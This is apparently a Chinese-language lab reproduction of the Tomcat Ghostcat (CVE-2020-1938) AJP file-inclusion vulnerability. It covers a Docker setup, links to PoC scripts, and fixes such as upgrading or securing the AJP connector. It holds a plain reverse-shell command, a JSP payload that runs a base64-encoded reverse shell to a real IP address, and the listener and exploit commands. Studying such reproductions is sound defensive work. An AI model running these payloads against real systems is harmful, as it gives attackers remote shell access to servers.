Tomcat-CVE-2020-1938复现

[TOC]

漏洞概述

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全局管理和Tomcat阀等。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。

攻击者通过Ajp协议端口利用该漏洞进行文件读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

漏洞影响版本

Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31

复现环境

本次漏洞复现采用Docker
Tomcat版本8.5.32

  1. 下载镜像
docker search tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32

  1. 启动镜像
    ``
docker images
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat

漏洞利用

相关漏洞利用脚本

https://github.com/xindongzhuaizhuai/CVE-2020-1938
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

文件读取

文件包含RCE
利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例

bash -i >& /dev/tcp/反弹ip/反弹端口 0>&1

为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。
bash payload
最终的payload文件test.txt如下:

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTg2Ljg5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

开启监听
使用脚本

nc -lvvp 8888
python poc.py -p 8009 -f test.txt 目标ip

加固修复

  1. Apache官方已发布9.0.31、8.5.51及7.0.100版本针对此漏洞进行修复,Apache Tomcat 6 已经停止维护,请升级到最新受支持的 Tomcat 版本以免遭受漏洞影响:
https://tomcat.apache.org/download-70.cgi 
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
  1. 使用AJP协议的临时处置方法:为AJP Connector配置secret来设置 AJP 协议的认证凭证,且注意口令强度
  2. 未使用AJP协议的临时处置方法:禁用AJP协议端口,在conf/server.xml配置文件中注释,并重启Tomcat服务

参考链接

https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWA
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi